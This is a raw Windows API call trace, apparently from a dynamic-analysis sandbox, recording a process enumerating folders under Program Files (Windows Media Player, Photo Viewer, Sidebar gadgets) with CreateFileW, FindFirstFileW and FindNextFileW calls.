	[0053.619] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer" (normalized: "c:\\program files\\windows media player\\media renderer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.619] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\*", lpFindFileData=0x127d397c | out: lpFindFileData=0x127d397c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80471418, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80471418, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.620] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80471418, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80471418, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.620] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828f4a85, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828f4a85, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8adeec5d, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x4d82, dwReserved0=0x0, dwReserved1=0x0, cFileName="avtransport.xml", cAlternateFileName="")) returned 1
	[0053.620] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828f4a85, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828f4a85, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8b1f3147, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="connectionmanager_dmr.xml", cAlternateFileName="")) returned 1
	[0053.621] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828f4a85, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828f4a85, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_120.jpg", cAlternateFileName="")) returned 1
	[0053.621] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828ce928, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828ce928, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x3a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_120.png", cAlternateFileName="")) returned 1
	[0053.621] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828a87cb, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828a87cb, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_48.jpg", cAlternateFileName="")) returned 1
	[0053.627] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing" (normalized: "c:\\program files\\windows media player\\network sharing"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.627] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\*", lpFindFileData=0x127d397c | out: lpFindFileData=0x127d397c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8044b2b8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8044b2b8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.634] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Skins" (normalized: "c:\\program files\\windows media player\\skins"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.634] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Skins\\*", lpFindFileData=0x127d397c | out: lpFindFileData=0x127d397c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9874cd8b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9874cd8b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.634] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Visualizations" (normalized: "c:\\program files\\windows media player\\visualizations"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.634] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Visualizations\\*", lpFindFileData=0x127d397c | out: lpFindFileData=0x127d397c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.636] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US" (normalized: "c:\\program files\\windows media player\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.636] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\*", lpFindFileData=0x127d397c | out: lpFindFileData=0x127d397c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ccca7f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.643] CreateFileW (lpFileName="C:\\Program Files\\Windows NT" (normalized: "c:\\program files\\windows nt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.643] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\*", lpFindFileData=0x127d39e0 | out: lpFindFileData=0x127d39e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.643] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\Accessories" (normalized: "c:\\program files\\windows nt\\accessories"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.643] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\*", lpFindFileData=0x127d397c | out: lpFindFileData=0x127d397c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.643] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US" (normalized: "c:\\program files\\windows nt\\accessories\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.644] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.644] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService" (normalized: "c:\\program files\\windows nt\\tabletextservice"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.644] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\*", lpFindFileData=0x127d397c | out: lpFindFileData=0x127d397c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.647] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US" (normalized: "c:\\program files\\windows nt\\tabletextservice\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.647] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.647] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer" (normalized: "c:\\program files\\windows photo viewer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.647] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\*", lpFindFileData=0x127d39e0 | out: lpFindFileData=0x127d39e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xec666880, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec666880, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.648] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US" (normalized: "c:\\program files\\windows photo viewer\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.649] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x127d397c | out: lpFindFileData=0x127d397c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.649] CreateFileW (lpFileName="C:\\Program Files\\Windows Portable Devices" (normalized: "c:\\program files\\windows portable devices"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.649] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Portable Devices\\*", lpFindFileData=0x127d39e0 | out: lpFindFileData=0x127d39e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x987bf1ac, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x987bf1ac, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.649] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar" (normalized: "c:\\program files\\windows sidebar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.649] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\*", lpFindFileData=0x127d39e0 | out: lpFindFileData=0x127d39e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xec640720, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec640720, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.650] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets" (normalized: "c:\\program files\\windows sidebar\\gadgets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.650] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x127d397c | out: lpFindFileData=0x127d397c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa1afe884, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.654] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.654] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.661] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.662] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.662] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.663] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.664] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.664] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.665] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.665] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8057bdba, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8057bdba, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.676] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.676] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.677] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.677] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.681] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.681] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.682] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.682] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.684] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.684] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
